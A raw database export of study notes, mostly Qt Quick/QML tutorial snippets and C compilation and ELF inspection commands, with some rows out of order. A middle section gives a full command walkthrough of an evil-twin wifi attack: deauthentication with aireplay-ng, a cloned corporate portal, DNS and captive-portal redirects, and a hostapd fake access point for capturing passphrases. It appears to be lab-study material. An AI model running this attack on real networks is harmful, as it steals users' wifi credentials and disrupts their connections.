code txt 2024-07-28 10:12:45.800918 -6386 2018 Image {\n widht: 680\n height: 460\n source: "assets/triangle_red.png"\n fillMode: Image.PreserveAspectCrop\n clip: true\n} code txt 2024-07-28 10:12:46.141537 -6387 2019 | Constant | Description |\n|---|---|\n| Image.Stretch | the image is scaled to fit |\n| Image.PreserveAspectFit | the image is scaled uniformly to fit without cropping |\n| Image.PreserveAspectCrop | the image is scaled uniformly to fill, cropping if necessary |\n| Image.Tile | the image is duplicated horizontally and vertically |\n| Image.TileVertically | the image is stretched horizontally and tiled vertically |\n| Image.TileHorizontally | the image is stretched vertically and tiled horizontally |\n| Image.Pad | the image is not transformed | text txt 2024-07-28 10:12:46.526785 -6388 2020 MouseArea {\n id: clickable\n anchors.fill: parent\n onClicked: root.clicked()\n} code txt 2024-07-28 10:12:46.877584 -6389 2021 A component is a reusable element written in a file and later used in another\nQML document using the name of the component file. text txt 2024-07-28 10:12:47.124688 -6390 2022 *Button.qml*\nRectangle {\n id: button\n signal clicked text txt 2024-07-28 10:12:47.550554 -6391 2022 MouseArea {\n anchors.fill: parent\n onClicked: { button.clicked(); }\n }\n} code txt 2024-07-28 10:12:47.571567 -6392 2023 Rectangle {\n id: button\n property alias color: child.color\n} code txt 2024-07-28 10:12:47.867494 -6393 2024 A simple translation is done via changing the `x`, `y` position. text txt 2024-07-28 10:12:48.314172 -6394 2024 A rotation is done using the `rotation` property.\nThe value is provided in degrees (0 .. 360). text txt 2024-07-28 10:12:48.334581 -6395 2024 A scaling is done using the `scale` property and a value `<1` means the\nelement is scaled down and `>1` means the element is scaled up. text txt 2024-07-28 10:12:48.355532 -6396 2024 Rotation and scaling do not change an item's geometry: the `x,y` and\n`width,height` haven’t changed; only the painting instructions are\ntransformed. text txt 2024-07-28 10:12:48.376635 -6397 2024 code txt 2024-07-28 10:12:48.397706 -6398 2025 antialiasing: true code txt 2024-07-28 10:12:48.624223 -6399 2026 import QtQuick text txt 2024-07-28 10:12:48.981603 -6400 2026 Rectangle {\n width: 48\n height: 48\n color: "#ea7025"\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:49.002329 -6401 2027 The Row element places its child items next to each other, either from the\nleft to the right, or from the right to the left, depending on the\n`layoutDirection` property. text txt 2024-07-28 10:12:50.604714 -6402 2027 `spacing` property can be used to distance each of the child elements from\neach other. text txt 2024-07-28 10:12:50.624413 -6403 2027 *DarkSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'darkgray'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:50.645247 -6404 2027 *RedSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'red'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:50.666943 -6405 2027 *GreenSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'green'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:50.687413 -6406 2027 *BlueSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'blue'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:50.709719 -6407 2027 *Main.qml*\nimport QtQuick text txt 2024-07-28 10:12:50.73193 -6408 2027 DarkSquare {\n id: root\n width: 400\n height: 200 text txt 2024-07-28 10:12:50.752669 -6409 2027 Row {\n id: row\n anchors.centerIn: parent\n spacing: 8 text txt 2024-07-28 10:12:50.772525 -6410 2027 RedSquare {}\n GreenSquare {}\n BlueSquare {}\n }\n} code txt 2024-07-28 10:12:50.794159 -6411 2028 `spacing` property can be used to distance each of the child elements from\neach other. text txt 2024-07-28 10:12:52.29612 -6412 2028 *DarkSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'darkgray'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:52.316574 -6463 2037 Window {\n width: 200\n height: 300\n visible: true\n title: qsTr("Note") text txt 2024-07-28 10:13:00.397911 -6413 2028 *RedSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'red'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:52.337901 -6414 2028 *GreenSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'green'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:52.359123 -6415 2028 *BlueSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'blue'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:52.381328 -6416 2028 *Main.qml*\nimport QtQuick text txt 2024-07-28 10:12:52.403381 -6417 2028 DarkSquare {\n id: root\n width: 200\n height: 400 text txt 2024-07-28 10:12:52.423434 -6418 2028 Column {\n id: column\n anchors.centerIn: parent\n spacing: 8 text txt 2024-07-28 10:12:52.44404 -6419 2028 RedSquare {}\n GreenSquare {}\n BlueSquare {}\n }\n} code txt 2024-07-28 10:12:52.465438 -6420 2029 The `Grid` element arranges its children in a grid. By setting the `rows` and\n`columns` properties, the number of rows or columns can be constrained. text txt 2024-07-28 10:12:53.728167 -6421 2029 By not setting either of them, the other is calculated from the number of\nchild items. For instance, setting rows to 3 and adding 6 child items will\nresult in 2 columns. text txt 2024-07-28 10:12:53.748249 -6422 2029 The properties `flow` and `layoutDirection` are used to control the order in\nwhich the items are added to the grid, while `spacing` controls the amount of\nspace separating the child items. text txt 2024-07-28 10:12:53.768613 -6423 2029 *DarkSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'darkgray'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:53.789798 -6424 2029 *BlueSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'blue'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:53.809751 -6425 2029 *Main.qml*\nimport QtQuick text txt 2024-07-28 10:12:53.830383 -6426 2029 DarkSquare {\n id: root\n width: 200\n height: 400 text txt 2024-07-28 10:12:53.85131 -6427 2029 Grid {\n id: grid\n rows: 2\n columns: 2\n anchors.centerIn: parent\n spacing: 8 text txt 2024-07-28 10:12:53.871733 -6428 2029 BlueSquare {}\n BlueSquare {}\n BlueSquare {}\n BlueSquare {}\n }\n} code txt 2024-07-28 10:12:53.892526 -6429 2030 The direction of the flow is controlled using `flow` and `layoutDirection`. text txt 2024-07-28 10:12:55.080556 -6430 2030 As the items are added in the flow, they are wrapped to form new rows or columns as needed. text txt 2024-07-28 10:12:55.099269 -6431 2030 In order for a flow to work, it must have a width or a height. This can be set either directly, or though anchor layouts. text txt 2024-07-28 10:12:55.119952 -6432 2030 *DarkSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'darkgray'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:55.140568 -6433 2030 *BlueSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'blue'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:55.160475 -6434 2030 *Main.qml*\nimport QtQuick text txt 2024-07-28 10:12:55.180513 -6435 2030 DarkSquare {\n id: root\n width: 300\n height: 300 text txt 2024-07-28 10:12:55.202283 -6436 2030 Flow {\n id: flow\n anchors.fill: parent\n anchors.margins: 10\n spacing: 8 text txt 2024-07-28 10:12:55.223462 -6437 2030 BlueSquare {}\n BlueSquare {}\n BlueSquare {}\n BlueSquare {}\n }\n} code txt 2024-07-28 10:12:55.243422 -6438 2031 An element often used with positioners is the `Repeater`. It works like a\nfor-loop and iterates over a model. In the simplest case a model is just a\nvalue providing the number of loops. text txt 2024-07-28 10:12:56.931724 -6439 2031 Repeaters are best used when having a small amount of static data to be\npresented. text txt 2024-07-28 10:12:56.95334 -6440 2031 A repeater injects the `index` property into the repeater. It contains the\ncurrent loop-index. text txt 2024-07-28 10:12:56.975531 -6441 2031 While the `index` property is dynamically injected into the Rectangle, it is\na good practice to declare it as a required property to ease readability and\nhelp tooling. This is achieved by the `required property int index` line. text txt 2024-07-28 10:12:56.996924 -6442 2031 *DarkSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'darkgray'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:57.016697 -6443 2031 *BlueSquare.qml*\nRectangle {\n id: root\n width: 95\n height: 95\n color: 'blue'\n border.color: Qt.lighter(color)\n} code txt 2024-07-28 10:12:57.037945 -6444 2031 *Main.qml*\nimport QtQuick text txt 2024-07-28 10:12:57.060766 -6445 2031 Window {\n id: root\n title: 'Windows'\n width: 400\n height: 400\n visible: true text txt 2024-07-28 10:12:57.082299 -6446 2031 DarkSquare {\n id: dark\n anchors.fill: parent\n anchors.centerIn: parent text txt 2024-07-28 10:12:57.103827 -6447 2031 Flow {\n id: flow\n anchors.fill: parent\n anchors.margins: 10\n spacing: 10 text txt 2024-07-28 10:12:57.12527 -6448 2031 // replace with 9 repetitions of BlueSquare {}\n Repeater {\n model: 9\n delegate: BlueSquare {\n Text {\n anchors.centerIn: parent\n color: 'black'\n text: '#' + parent.index\n }\n }\n }\n }\n }\n} code txt 2024-07-28 10:12:57.14599 -6449 2032 An element has 6 major anchor lines, `top` , `bottom` , `left` , `right` , `horizontalCenter` , `verticalCenter` . text txt 2024-07-28 10:12:57.384753 -6450 2033 There is the `baseline` anchor for text in `Text` elements. text txt 2024-07-28 10:12:57.561832 -6451 2034 Each anchor line comes with an offset. In the case of the `top` , `bottom` ,\n`left` , and `right` anchors, they are called **margins**. For\n`horizontalCenter` , `verticalCenter` and `baseline` they are called\n**offsets**. text txt 2024-07-28 10:12:57.823322 -6452 2035 - `validator`\n- `inputMask`\n- `echoMode` text txt 2024-07-28 10:12:58.086263 -6453 2036 *UserInput.qml*\nimport QtQuick text txt 2024-07-28 10:12:59.3731 -6454 2036 FocusScope {\n width: 200\n height: input.height + 8 text txt 2024-07-28 10:12:59.394 -6455 2036 Rectangle {\n anchors.fill: parent\n color: 'lightsteelblue'\n border.color: 'gray'\n } text txt 2024-07-28 10:12:59.414114 -6456 2036 property alias text: input.text\n property alias input: input text txt 2024-07-28 10:12:59.434325 -6457 2036 TextInput {\n id: input\n height: 50\n anchors.fill: parent\n anchors.margins: 4\n focus: true\n }\n} code txt 2024-07-28 10:12:59.455601 -6458 2036 *Main.qml*\nimport QtQuick text txt 2024-07-28 10:12:59.477146 -6459 2036 Window {\n width: 640\n height: 480\n visible: true\n title: qsTr("Credentials") text txt 2024-07-28 10:12:59.499081 -6460 2036 Column {\n UserInput {\n id: input1\n KeyNavigation.tab: input2\n text: 'Username'\n focus: true\n } text txt 2024-07-28 10:12:59.518611 -6461 2036 UserInput {\n id: input2\n KeyNavigation.tab: input1\n text: 'Password'\n }\n }\n} code txt 2024-07-28 10:12:59.539951 -6462 2037 import QtQuick text txt 2024-07-28 10:13:00.377583 -6464 2037 Rectangle {\n anchors.fill: parent\n color: 'linen' text txt 2024-07-28 10:13:00.418829 -6465 2037 Text {\n anchors.top: parent.top\n anchors.horizontalCenter: parent.horizontalCenter\n color: 'black'\n font.family: 'OpenSans'\n font.pixelSize: 18\n text: 'Note to Self'\n }\n Editor {\n id: editor\n anchors.verticalCenter: parent.verticalCenter\n anchors.horizontalCenter: parent.horizontalCenter\n anchors.fill: parent\n anchors.topMargin: 30\n anchors.margins: 20\n focus: true\n }\n }\n} code txt 2024-07-28 10:13:00.441392 -6466 2038 The attached property `Keys` allows executing code based on certain key\npresses. text txt 2024-07-28 10:13:00.675829 -6467 2039 import QtQuick text txt 2024-07-28 10:13:01.398121 -6468 2039 Window {\n width: 200\n height: 300\n visible: true\n title: qsTr("Keys") text txt 2024-07-28 10:13:01.419184 -6469 2039 Rectangle {\n anchors.fill: parent\n color: 'linen'\n focus: true text txt 2024-07-28 10:13:01.439309 -6470 2039 Text {\n id: label\n color: 'black'\n anchors.top: parent.top\n anchors.topMargin: 10\n anchors.left: parent.left\n anchors.leftMargin: 10\n text: 'No key presses'\n } text txt 2024-07-28 10:13:01.460278 -6471 2039 Keys.onReturnPressed: label.text = 'Enter pressed'\n }\n} code txt 2024-07-28 10:13:01.48042 -6472 2040 This requires you to put your code into a Qt resource file, and is described\nin detail in the [Compiling QML Ahead of\nTime](https://doc.qt.io - https://doc.qt.io/qt-6/qtquick-deployment.html#ahead-of-time-compilation). text txt 2024-07-28 10:13:01.735521 -6473 2041 Animations are applied to property changes. An animation defines the\ninterpolation curve from one value to another value when a property value\nchanges. text txt 2024-07-28 10:13:01.978974 -6474 2042 This animation requires changes on `x,y` and `rotation` properties. text txt 2024-07-28 10:13:03.122911 -6475 2042 import QtQuick text txt 2024-07-28 10:13:03.144096 -6476 2042 Window {\n width: 800\n height: 400\n visible: true\n title: qsTr("Box Game") text txt 2024-07-28 10:13:03.164688 -6477 2042 Rectangle {\n id: root\n color: '#383838'\n anchors.fill: parent text txt 2024-07-28 10:13:03.185299 -6478 2042 property int padding: 10\n property int duration: 5000\n property bool running: false text txt 2024-07-28 10:13:03.208219 -6479 2042 Rectangle {\n id: box\n x: root.padding\n y: root.height - width - 5\n width: 50\n height: 50\n color: 'lightsteelblue' text txt 2024-07-28 10:13:03.230492 -6480 2042 NumberAnimation on x {\n to: root.width - box.width - root.padding\n duration: root.duration * 2\n running: root.running\n } text txt 2024-07-28 10:13:03.251747 -6481 2042 RotationAnimation on rotation {\n to: 360\n duration: root.duration\n running: root.running\n }\n } text txt 2024-07-28 10:13:03.272687 -6482 2042 MouseArea {\n anchors.fill: root\n onClicked: root.running = true\n }\n }\n} code txt 2024-07-28 10:13:03.294341 -6483 2043 This animation requires changes on `opacity` and `scale` properties. text txt 2024-07-28 10:13:03.520005 -6484 2043 code txt 2024-07-28 10:13:03.539988 -6485 2044 - `PropertyAnimation`: animates changes in property values.\n- `NumberAnimation`: animates changes in qreal-type values.\n- `ColorAnimation`: animates changes in color values.\n- `RotationAnimation`: animates changes in rotation values. text txt 2024-07-28 10:13:03.993303 -6486 2044 Qt Quick also provides more specialized animations for specific use cases: text txt 2024-07-28 10:13:04.014484 -6487 2044 - `PauseAnimation`: provides a pause for an animation.\n- `SequentialAnimation`: allows animations to be run sequentially.\n- `ParallelAnimation`: allows animations to be run in parallel.\n- `AnchorAnimation`: animates changes in anchor values.\n- `ParentAnimation`: animates changes in parent values.\n- `SmoothedAnimation`: allows a property to smoothly track a value.\n- `SprintAnimation`: allows a property to track a value in a spring-like motion.\n- `PathAnimation`: animates an item alongside a path.\n- `Vector3dAnimation`: animates changes in QVector3d values text txt 2024-07-28 10:13:04.036391 -6488 2045 While working on more complex animations, there is sometimes a need to change\na property or to run a script during an ongoing animation. For this Qt Quick\noffers the action elements, which can be used everywhere where the other\nanimation elements can be used: text txt 2024-07-28 10:13:04.373927 -6489 2045 - `PropertyAction`: specifies immediate property changes during animation.\n- `ScriptAction`: defines scripts to be run during an animation. text txt 2024-07-28 10:13:04.39493 -6490 2046 - **Animation on property:** runs automatically after the element is fully\n loaded.\n- **Behavior on property:** runs automatically when the property value\n changes\n- **Standalone Animation:** runs when the animation is explicitly started\n using `start()` or `running` is set to true. text txt 2024-07-28 10:13:04.683591 -6491 2047 Text {\n wrapMode: Text.WordWrap\n} code txt 2024-07-28 10:13:04.96676 -6492 2048 - `Easing.Linear`\n- `Easing.InExpo`\n- `Easing.OutExpo`\n- `Easing.InOutExpo`\n- `Easing.InOutCubic`\n- `Easing.SineCurve`\n- `Easing.InOutCirc`\n- `Easing.InOutElastic`\n- `Easing.InOutBack`\n- `Easing.InOutBounce` text txt 2024-07-28 10:13:05.317298 -6493 2049 import QtQuick text txt 2024-07-28 10:13:06.357971 -6494 2049 Window {\n width: 640\n height: 480\n visible: true\n title: qsTr("Linear") text txt 2024-07-28 10:13:06.381088 -6495 2049 Rectangle {\n id: root\n anchors.fill: parent\n color: '#383838' text txt 2024-07-28 10:13:06.402502 -6496 2049 property int padding: 20 text txt 2024-07-28 10:13:06.423007 -6497 2049 Rectangle {\n id: box\n width: 40\n height: 40\n x: root.padding\n anchors.verticalCenter: parent.verticalCenter\n color: 'lightsteelblue' text txt 2024-07-28 10:13:06.444681 -6498 2049 Behavior on x {\n NumberAnimation {\n id: animation\n duration: 2000\n easing.type: Easing.InOutCubic\n }\n }\n } text txt 2024-07-28 10:13:06.464793 -6499 2049 MouseArea {\n anchors.fill: parent\n onClicked: {\n box.x = root.width - box.width - root.padding\n }\n }\n }\n} code txt 2024-07-28 10:13:06.487006 -6500 2050 Besides the `duration` and `easing.type` , you are able to fine-tune\nanimations. For example, the general `PropertyAnimation` type (from which\nmost animations inherit) additionally supports `easing.amplitude` ,\n`easing.overshoot` , and `easing.period` properties, which allow you to\nfine-tune the behavior of particular easing curves. text txt 2024-07-28 10:13:06.796194 -6501 2051 You might want to run several animations at the same time or one after\nanother or even execute a script between two animations. text txt 2024-07-28 10:13:07.153634 -6502 2051 Grouping can be done in two ways: parallel or sequential. text txt 2024-07-28 10:13:07.17417 -6605 2084 Inspect the core dump for further understanding of what heppened on the\nstack: text txt 2024-07-28 10:13:25.116764 -6503 2051 You can use the `SequentialAnimation` or the `ParallelAnimation` element,\nwhich act as animation containers for other animation elements. text txt 2024-07-28 10:13:07.195087 -6504 2051 These grouped animations are animations themselves and can be used exactly as\nsuch. text txt 2024-07-28 10:13:07.216241 -6505 2052 import QtQuick text txt 2024-07-28 10:13:08.522654 -6506 2052 Window {\n id: window\n width: 640\n height: 480\n visible: true\n title: qsTr("Parallel") text txt 2024-07-28 10:13:08.543553 -6507 2052 Rectangle {\n id: root\n color: '#383838'\n anchors.fill: parent text txt 2024-07-28 10:13:08.564791 -6508 2052 property int padding: 20\n property int duration: 2000\n } text txt 2024-07-28 10:13:08.585736 -6509 2052 MouseArea {\n anchors.fill: parent\n onClicked: { diagonal_movement.start(); }\n } text txt 2024-07-28 10:13:08.606393 -6510 2052 Rectangle {\n id: box\n color: 'lightsteelblue'\n width: 42\n height: 42 text txt 2024-07-28 10:13:08.626872 -6511 2052 x: root.padding\n y: root.height - height - root.padding\n } text txt 2024-07-28 10:13:08.647544 -6512 2052 ParallelAnimation {\n id: diagonal_movement text txt 2024-07-28 10:13:08.669614 -6513 2052 NumberAnimation {\n target: box\n properties: 'x'\n to: root.width - box.width - root.padding\n duration: root.duration\n easing.type: Easing.InOutCubic\n } text txt 2024-07-28 10:13:08.691888 -6514 2052 NumberAnimation {\n target: box\n properties: 'y'\n to: root.padding\n duration: root.duration\n easing.type: Easing.InOutCubic\n }\n }\n} code txt 2024-07-28 10:13:08.712016 -6515 2053 code txt 2024-07-28 10:13:08.904847 -6516 2054 A state defines a set of property changes and can be triggered by a certain\ncondition. text txt 2024-07-28 10:13:09.974262 -6517 2054 You define states in QML with the `State` element, which needs to be bound to\nthe `states` array of any item element. text txt 2024-07-28 10:13:09.995275 -6518 2054 A state is identified through a state name, and in its simplest form,\nconsists of a series of property changes on elements. text txt 2024-07-28 10:13:10.016026 -6519 2054 The default state is defined by the initial properties of the element and is\nnamed `""` (an empty string). text txt 2024-07-28 10:13:10.037287 -6520 2054 Item {\n id: root\n states: [\n State {\n name: "go"\n PropertyChanges { ... }\n },\n State {\n name: "stop"\n PropertyChanges { ... }\n }\n ]\n} code txt 2024-07-28 10:13:10.058613 -6521 2054 A state is changed by assigning a new state name to the `state` property of\nthe element in which the states are defined. text txt 2024-07-28 10:13:10.079101 -6522 2054 Item {\n id: root\n states: [\n ...\n ]\n Button {\n id: goButton\n ...\n onClicked: root.state = "go"\n }\n} code txt 2024-07-28 10:13:10.100457 -6523 2055 import QtQuick text txt 2024-07-28 10:13:11.291548 -6524 2055 Window {\n width: 640\n height: 480\n visible: true\n title: qsTr("States") text txt 2024-07-28 10:13:11.312056 -6525 2055 Rectangle {\n id: root\n color: '#393939'\n anchors.fill: parent text txt 2024-07-28 10:13:11.332896 -6526 2055 MouseArea {\n anchors.fill: parent\n onClicked: {\n ball.state = (ball.state === 'bright' ? 'dark' : 'bright')\n }\n }\n } text txt 2024-07-28 10:13:11.354713 -6527 2055 Rectangle {\n id: ball\n color: 'lightsteelblue'\n width: 42\n height: width\n radius: width / 2\n anchors.centerIn: parent\n state: 'bright' text txt 2024-07-28 10:13:11.37564 -6528 2055 states: [\n State {\n name: 'bright'\n PropertyChanges {\n target: ball\n color: 'lightsteelblue'\n }\n },\n State {\n name: 'dark'\n PropertyChanges {\n target: ball\n color: 'darkblue'\n }\n }\n ]\n }\n} code txt 2024-07-28 10:13:11.396502 -6529 2056 A transition is executed by a state change. text txt 2024-07-28 10:13:11.939545 -6530 2056 You can define on which state change a particular transition can be applied\nusing the `from:` and `to:` properties. text txt 2024-07-28 10:13:11.959784 -6531 2056 For example, `from: "*"; to: "*"` means "from any state to any other state",\nand is the default value for `from` and `to` . This means the transition will\nbe applied to every state switch. text txt 2024-07-28 10:13:11.980226 -6532 2056 transitions: [\n Transition {\n from: "*"; to: "*"\n ColorAnimation { target: element1; properties: "color"; duration: 2000 }\n ColorAnimation { target: element2; properties: "color"; duration: 2000 }\n }\n] code txt 2024-07-28 10:13:12.001079 -6533 2057 - `QtQuick.Controls`\n- `QtQuick.Templates`\n- `QtQuick.Controls.Imagine`\n- `QtQuick.Controls.Material`\n- `QtQuick.Controls.Universal` text txt 2024-07-28 10:13:12.272261 -6534 2058 import QtQuick\nimport QtQuick.Controls text txt 2024-07-28 10:13:12.670083 -6535 2058 ApplicationWindow {\n visible: true\n width: 800\n height: 600\n // ...\n} code txt 2024-07-28 10:13:12.691007 -6536 2059 Browsers try to resolve a set of URIs and expect a recieve from server in the\nform of HTTP 204 or 200 responses. text txt 2024-07-28 10:13:13.630444 -6537 2059 Detecting existance of a captive portal and internet connectivity are two\ndifferent things. text txt 2024-07-28 10:13:13.652026 -6538 2060 The target access point, also the collection of its information like channel,\nclients and etc. text txt 2024-07-28 10:13:13.857321 -6539 2061 On WPA-PSK or WPA2-PSK networks we should capture a handshake. text txt 2024-07-28 10:13:14.094569 -6540 2061 Then we would need to copy the captive portal or when non exists, create a\nconvincing one. text txt 2024-07-28 10:13:14.115693 -6541 2062 Stop network interfaces:\nsudo airmon-ng check kill code txt 2024-07-28 10:13:14.834284 -6542 2062 Switch wireless interface to monitor mode:\nsudo airmon-ng start wlan0 code txt 2024-07-28 10:13:14.854437 -6543 2062 Use monitor mode to capture information about clients and access points:\nsudo airodump-ng wlan0mon code txt 2024-07-28 10:13:14.875749 -6544 2062 Capture handshake from one of clients:\nsudo airodump-ng -w discovery --output-format pcap -c 11 wlan0mon code txt 2024-07-28 10:13:14.897485 -6545 2062 Force a client to reconnect to the access pointer:\nsudo aireplay-ng -0 0 -a wlan0mon code txt 2024-07-28 10:13:14.919014 -6546 2062 Disable monitor mode:\nsudo airmon-ng stop wlan0mon code txt 2024-07-28 10:13:14.940048 -6547 2063 For this scenario we need PHP and Apache server. text txt 2024-07-28 10:13:17.683854 -6548 2063 Download website content of the target corporation behind captive portal:\nwget -r -l2 https://megacorpone.com code txt 2024-07-28 10:13:17.707163 -6549 2063 Setup http server and index file:\nsudo mkdir /var/www/html/portal\nsudo cp -r ./www.megacorpone.com/assets/ /var/www/html/portal/\nsudo cp -r ./www.megacorpone.com/old-site/ /var/www/html/portal/ code txt 2024-07-28 10:13:17.727291 -6550 2063 Create index file:\nsudoedit /var/www/html/portal/index.php code txt 2024-07-28 10:13:17.748049 -6606 2084 coredumpctl list a.out code txt 2024-07-28 10:13:25.139936 -6551 2063 Create login check script to verify client given password works:\nsudoedit /var/www/html/portal/login_check.php code txt 2024-07-28 10:13:17.768882 -6552 2063 Create an interface for fake captive portal:\nsudo ip addr add 192.168.87.1/24 dev wlan0\nsudo ip link set wlan0 up code txt 2024-07-28 10:13:17.789471 -6553 2063 Use dnsmasq to setup DHCP server:\nvim mco-dnsmasq.conf text txt 2024-07-28 10:13:17.81035 -6554 2063 domain-needed\nbogus-priv\nno-resolv\nfilterwin2k\nexpand-hosts\ndomain=localdomain\nlocal=/localdomain/ text txt 2024-07-28 10:13:17.831944 -6555 2063 listen-address=192.168.87.1 text txt 2024-07-28 10:13:17.851479 -6556 2063 dhcp-range=192.168.87.100,192.168.87.199,12h\ndhcp-lease-max=100 text txt 2024-07-28 10:13:17.872077 -6557 2063 log-quesries\naddress=/com/192.168.87.1\naddress=/org/192.168.87.1\naddress=/net/192.168.87.1\n# Entries for windows 7 and 10 captive portal detection\naddress=/dns.msftncsi.com/131.103.255.255 code txt 2024-07-28 10:13:17.893337 -6558 2063 Start DHCP service:\nsudo dnsmasq --conf-file=mco-dnsmasq.conf code txt 2024-07-28 10:13:17.914275 -6559 2063 Confirm services are running:\nsudo ss -antlp code txt 2024-07-28 10:13:17.934332 -6560 2063 Sometimes clients ignore settings setup in DHCP lease, we can reroute these\nrequests by netfilter:\nsudo nft add table ip nat\nsudo nft 'add chain nat PREROUTING { type nat hook prerouting priority dstnat; policy accept; }'\nsudo nft add rule ip nat PREROUTING iifname "wlan0" udp dport 53 counter redirect to :53 code txt 2024-07-28 10:13:17.956348 -6561 2063 Configure Apache to accept mode rewrite and alias rules:\nsudoedit /etc/apache2/sites-enabled/000-default.conf text txt 2024-07-28 10:13:17.977202 -6562 2063 # Apple\nRewriteEngine on\nRewriteCond %{HTTP_USER_AGENT} ^CaptiveNetworkSupport(.*)$ [NC]\nRewriteCond %{HTTP_HOST} !^192.168.87.1$\nRewriteRule ^(.*)$ http://192.168.87.1/portal/index.php [L,R=302] text txt 2024-07-28 10:13:17.998137 -6563 2063 # Android\nRedirectMatch 302 /generate_204 http://192.168.87.1/portal/index.php text txt 2024-07-28 10:13:18.018075 -6564 2063 # Windows 7 and 10\nRedirectMatch 302 /ncsi.txt http://192.168.87.1/portal/index.php\nRedirectMatch 302 /connecttest.txt http://192.168.87.1/portal/index.php text txt 2024-07-28 10:13:18.039288 -6565 2063 # Catch-all rule to redirect other possible attempts\nRewriteCond %{REQUEST_UIR} !^/portal/ [NC]\nRewriteRule ^(.*)$ http://192.168.87.1/portal/index.php [L] code txt 2024-07-28 10:13:18.059422 -6566 2063 Use Apache modules to make rewrite and redirects work:\nsudo a2enmod rewrite\nsudo a2enmod alias code txt 2024-07-28 10:13:18.082505 -6567 2063 Restart Apache:\nsudo systemctl restart apache2 code txt 2024-07-28 10:13:18.102558 -6568 2063 Confirm that captive portal works:\nfirefox http://192.168.87.1/portal/index.php code txt 2024-07-28 10:13:18.122282 -6569 2063 Configure hostapd:\nvim mco-hostapd.conf text txt 2024-07-28 10:13:18.143601 -6570 2063 interface=wlan0\nssid=MegaCorp One Lab\nchannel=11\nhw_mode=g\nieee80211n=1 code txt 2024-07-28 10:13:18.16541 -6571 2063 Run hostapd to create captive portal:\nsudo hostapd -B mco-hostapd.conf code txt 2024-07-28 10:13:18.186969 -6572 2063 Capture passphrases using your captive portal. text txt 2024-07-28 10:13:18.208147 -6573 2064 1. Preprocessing\n2. Compilation\n3. Assembly\n4. Linking text txt 2024-07-28 10:13:18.537766 -6574 2065 #include text txt 2024-07-28 10:13:19.04947 -6575 2065 int main()\n{\n fprintf(stdout, "Preprocessing\\\\n");\n} code txt 2024-07-28 10:13:19.069946 -6576 2065 For gcc, this can be done sing the following command: text txt 2024-07-28 10:13:19.089694 -6577 2065 gcc -E -P -o main.cc main.c code txt 2024-07-28 10:13:19.11013 -6578 2065 Where `-E` tells gcc to stop after preprocessing and `-P` causes the compiler\nto omit debugging information so that the output is a bit cleaner. text txt 2024-07-28 10:13:19.130873 -6579 2066 gcc -masm intel\ngcc -masm att code txt 2024-07-28 10:13:19.384169 -6580 2067 gcc -g -O0 -S -masm=intel -o main.s main.c code txt 2024-07-28 10:13:19.613827 -6581 2068 gcc -g -O0 -c -o main.o main.c\nfile main.o code txt 2024-07-28 10:13:19.847278 -6582 2069 There are position-independent (relocatable) object files which can be\ncombined to form a complete binary executable. On the other hand there are\nposition-independent (relocatable) executables, which you can call them apart\nfrom ordinary shared libraries because they have an entry point address. text txt 2024-07-28 10:13:20.114723 -6583 2070 readelf --syms a.out code txt 2024-07-28 10:13:20.34216 -6584 2071 For ELF binaries, debugging symbols are typically generated in the DWARF\nformat, while PE binaries usually use the proprietary PDB format. DWARF\ninformation is usually embedded within the binary, while PDB comes in the\nform of a separate symbol file. text txt 2024-07-28 10:13:20.613436 -6585 2072 `libbfd` & `libdwarf`. text txt 2024-07-28 10:13:20.781725 -6586 2073 strip --strip-all a.out\nreadelf --syms a.out code txt 2024-07-28 10:13:21.068841 -6587 2074 objdump -M intel\nobjdump -M att code txt 2024-07-28 10:13:21.325574 -6588 2075 The `.rodata` section contains all constants. text txt 2024-07-28 10:13:21.574588 -6589 2075 objdump -sj .rodata example.o code txt 2024-07-28 10:13:21.594575 -6590 2076 objdump -M intel -d example.o code txt 2024-07-28 10:13:21.835983 -6591 2077 readelf --relocs example.o code txt 2024-07-28 10:13:22.074144 -6592 2078 The leftmost column of each line in the `readelf --relocs` output is the\noffset in the object file where the resolved reference must be filled in. The\noffset equals to the offset of the instruction that needs to be fixed, plus\n1. This is because you only want to overwrite the operand of the instruction,\nnot the opcode of the instruction which happens to be only 1 byte. So to\npoint to the instruction's operand, the relocation symbol needs to skip past\nthe opcode byte. text txt 2024-07-28 10:13:22.456364 -6593 2078 readelf --relocs example.o code txt 2024-07-28 10:13:22.476309 -6594 2079 readelf --sections example.o code txt 2024-07-28 10:13:22.701982 -6595 2080 - The operating system creates an address space in which the program will run.\n- This address space indluces the actual program instructions as well as any required data.\n- Three segment types are created: `.text` (read-only), `.bss` (writable), `.data` (writable).\n- The `.bss` and `.data` segments are reserved for global variables.\n- The `.data` segment contains static initialized data, and `.bss` segment contains uninitialized data, `.text` segment holds the program instructions.\n- Stack and heap are initialized. text txt 2024-07-28 10:13:23.299565 -6596 2080 readelf --symbols a.out | sort -k 2 -r code txt 2024-07-28 10:13:23.320669 -6597 